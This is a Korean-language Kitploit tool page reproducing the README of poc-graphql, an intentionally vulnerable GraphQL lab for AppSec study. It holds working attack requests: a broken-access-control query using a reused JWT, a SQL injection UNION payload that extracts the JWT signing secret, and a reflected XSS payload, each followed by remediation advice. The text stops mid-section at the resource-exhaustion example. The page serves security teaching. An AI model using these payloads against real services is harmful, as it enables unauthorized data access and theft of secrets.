Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
poc-graphql — AppSec 관점에서의 GraphQL 연구 | Kitploit
도구/GitHubGitHub/righettod/poc-graphql
Vulnerability AnalysisWeb Application ExploitationAPI Security TestingPenetration TestingLearning & EducationLabs & PracticeArchived
GitHubrighettod/poc-graphql

poc-graphql

AppSec 관점에서의 GraphQL 연구

저장소 보기
41859153년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이미지 빌드 및 배포

목차

  • 목차
  • GraphQL 연구
    • 목적
    • 랩
    • Docker에 배포
    • 보안 취약점
      • 인증
        • 문제
        • 권장 사항
      • 주입
        • 문제
        • 권장 사항
      • 리소스 고갈
        • 문제
        • 권장 사항
      • 개인 데이터 노출
        • 문제
        • 권장 사항
      • 예상치 못한 오류 시 기술 정보 노출
        • 문제
        • 권장 사항
      • 안전하지 않은 직접 객체 참조
        • 문제
      • 잘못된 클라이언트 범위에 API 노출
        • 문제
          • 구독 WebSocket 엔드포인트 기본 활성화
          • 교차 출처 리소스 공유 기본 활성화
        • 권장 사항
    • 발견 질의
    • 참고 자료
      • GraphQL
      • 랩

GraphQL 연구

목적

  1. GraphQL이 무엇인지 연구합니다.
  2. AppSec 관점에서 GraphQL 사용을 분석합니다 (공격 및 방어).
  3. 공격에 활용될 수 있는 잠재적 취약점을 식별합니다.

랩

다양한 문제를 연구하기 위해 랩이 만들어졌습니다. 이 랩은 개의 건강 관리를 하는 수의사의 맥락을 취합니다.

랩은 IntelliJ IDEA Community Edition을 사용하여 개발되었습니다.

사용된 도메인은 다음과 같습니다:```text

Define in host file

127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local

실험실 조건 및 가정은 다음과 같습니다:

* 수의사는 0마리 또는 N마리의 개와 연결될 수 있습니다.
* 개는 0명 또는 1명의 수의사와 연결될 수 있습니다.
* 수의사는 저장 시스템(데이터베이스)에 **Popularity**라는 속성을 가지고 있지만, 민감한 정보이므로 GraphQL 클라이언트가 접근해서는 안 됩니다.
* GraphQL 데이터 소비 관점은 수의사입니다. 개 정보는 공개입니다.
* 이 실험실은 여러 취약점이 구현되어 있으며, 주석에 `[VULN]` 표시를 통해 식별되는 취약한 애플리케이션입니다.
* 인증과 관련하여, 가짜 타사 서비스가 (서블릿을 통해) 구현되었으며, 토큰에 수의사 이름을 포함하는 JWT 토큰을 반환합니다.

프로젝트에 있는 실행 설정 또는 명령줄 `mvn spring-boot:run`을 통해 시작되면, 실험실은 다음 엔드포인트에서 사용 가능합니다:

* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)

애플리케이션을 이식 가능한 jar 파일로 패키징하려면 `mvn package` 명령을 사용하세요 (사전 빌드된 jar 파일은 [여기](https://github.com/righettod/poc-graphql/releases)에서 확인 가능):
* jar 파일은 *target* 폴더에 생성되며, 이름은 *graphql-poc.jar*입니다.
* 애플리케이션을 실행하려면 `java -jar graphql-poc.jar` 명령을 사용하세요.

## Deploying on Docker

> 이미지는 매일 [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)에 게시됩니다.

Docker 컨테이너에 애플리케이션을 배포하려면 다음 단계를 따르세요:

1. `docker`가 설치되어 있는지 확인하세요.
2. 저장소를 `git clone`하세요.
3. 클론된 디렉토리로 이동하세요.
4. `docker build -t poc-graphql .`를 사용하여 Docker 이미지를 빌드하세요.
5. 이제 **poc-graphql:latest**라는 이미지가 머신에 생성되었습니다.
6. `docker run -p 8080:8080 poc-graphql:latest`를 사용하여 컨테이너를 실행하세요.
7. 다음 엔드포인트를 사용하여 실험실에 접근하세요:
   * [GraphiQL](http://localhost:8080/graphiql)
   * [GraphQL](http://localhost:8080/graphql)

## Security weaknesses

### Authorization

*깨진 접근 제어*

[CWE-285](https://cwe.mitre.org/data/definitions/285.html)

#### Issue

GraphQL은 모든 요청이 전송되는 단일 엔드포인트를 기반으로 하며, 인증은 사양의 범위를 벗어나므로(내장 기능 없음), 애플리케이션이 인증 로직을 구현하는 것은 애플리케이션의 책임입니다.

제 실험실에서는 이 지점에 취약점이 있습니다. 액세스 토큰 검증이 토큰이 **veterinaryId**에 전달된 수의사에게 속하는지 확인하지 않기 때문입니다.

**예시:**

저장소에서 식별자 **3**을 가진 **Dr Julien**에 대한 액세스 토큰을 요청하기 위해 다음 GraphQL 요청을 보냅니다:```javascript
query getAccessToken {
  auth(veterinaryName: "Julien")
}

다음 GraphQL 응답에서 액세스 토큰을 받습니다:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }

얻은 액세스 토큰을 사용하여 `myInfo(...)` 쿼리에 GraphQL 요청을 보내지만, **Dr Benoit**의 식별자인 **2**를 지정합니다:```javascript
query brokenAccessControl {
  myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
    id, name, dogs {
      name
    }
  }
}

나는 GraphQL 응답에서 Dr Benoit와(과) 연결된 Dogs 목록을 받습니다:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...

#### 권장 사항

GraphQL을 사용하면 `Role x Feature`를 사용한 인가 매트릭스에서 `Role x Data`를 사용한 데이터 수준 보안으로 전환되었습니다. 이는 단일 엔드포인트이기 때문입니다. 사용자 ID와 역할은 데이터를 가져오기 전에 사용자 ID를 사용한 검증을 적용하기 위해 데이터를 가져오는(또는 데이터에 대해 작업하는) 상위 계층에 전달되어야 합니다.

### 인젝션

[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)

#### 문제

GraphQL 서버가 데이터 저장소에 대해 작업할 때 GraphQL 요청 쿼리/뮤테이션/서브스크립션의 정보를 사용하는 방식에 따라 인젝션 가능성이 있습니다.

제 연구실에서는 `dogs(namePrefix: String, limit: Int = 500): [Dog!]` 쿼리에서 SQLi에 관한 취약점이 있습니다. **namePrefix** 매개변수가 SQL 쿼리를 구성하기 위해 문자열 연결에 사용되기 때문입니다.

**예시:**

`CONFIG` 테이블의 내용을 나열하기 위해 다음 GraphQL 요청을 보냅니다.```javascript
query sqli {
  dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
    id
    name
  }
}

나는 GraphQL 응답에서 JWT 토큰 서명에 사용된 비밀과 이름이 ab로 시작하는 개의 이름을 함께 받습니다:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }

XSS에 관해서, 재미있는 점은 GraphQL 응답이 전송된 요청의 유효성 검사가 실패할 경우 전달된 파라미터를 반영한다는 것입니다.

**예시:**

다음 GraphQL 요청을 `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` 쿼리에 전송합니다. Veterinary 식별자(정수형)를 String XSS 페이로드로 대체합니다:```javascript
query xss {
  myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
    veterinaryId: "<script>alert('XSS')</script>") {
    id
  }
}

내 페이로드를 반영하는 이 GraphQL 응답을 받았습니다. 따라서 GraphQL 클라이언트와 그 이스케이핑/새니타이징 동작에 따라 XSS에 문을 열어줄 수 있습니다:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }

#### Reco

* Query/Mutation/Subscription을 통해 수신된 데이터에 대해 사용 전에 입력 검증을 적용합니다.
* GraphQL 응답에서 데이터를 렌더링하는 클라이언트가 데이터를 렌더링하기 전에 이스케이프/새니타이제이션을 적용하도록 합니다.

### 리소스 고갈

[CWE-400](https://cwe.mitre.org/data/definitions/400.html)

#### 문제

클라이언트가 요청하는 데이터 양을 제어할 수 있기 때문에, GraphQL 서버가 호출하는 스토리지와 GraphQL 서버 자체(데이터를 JSON으로 직렬화하는 과정)에 리소스 고갈을 일으키는 쿼리를 요청하는 GraphQL 요청을 보낼 수 있습니다.

이 문제는 변이(mutation)를 사용하여 매개변수에 많은 양의 데이터를 보내는 방식으로도 발생할 수 있습니다(이 공격을 방지하기 위해 입력 검증을 사용할 수 있습니다).

이 문제는 구독(subscription)을 사용하여 다음과 같은 방식으로도 발생할 수 있습니다:

* 노출된 각 구독에 대해 대량의 구독자를 등록합니다.
* 구독에서 사용되는 매개변수에 많은 양의 데이터를 보냅니다.

제 실험실에서 쿼리, 특히 익명 사용자가 사용할 수 있고 Dog에 관한 DB 내용을 검색하는 `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` 쿼리에서 이 지점에 취약점이 있습니다. Dogs와 Veterinary 간에 관계가 있고 그 역도 성립하므로, DB의 SQL 수준에서 리소스 고갈을 일으키는 연쇄 호출을 수행할 수 있습니다.

**예시:**
도구 다운로드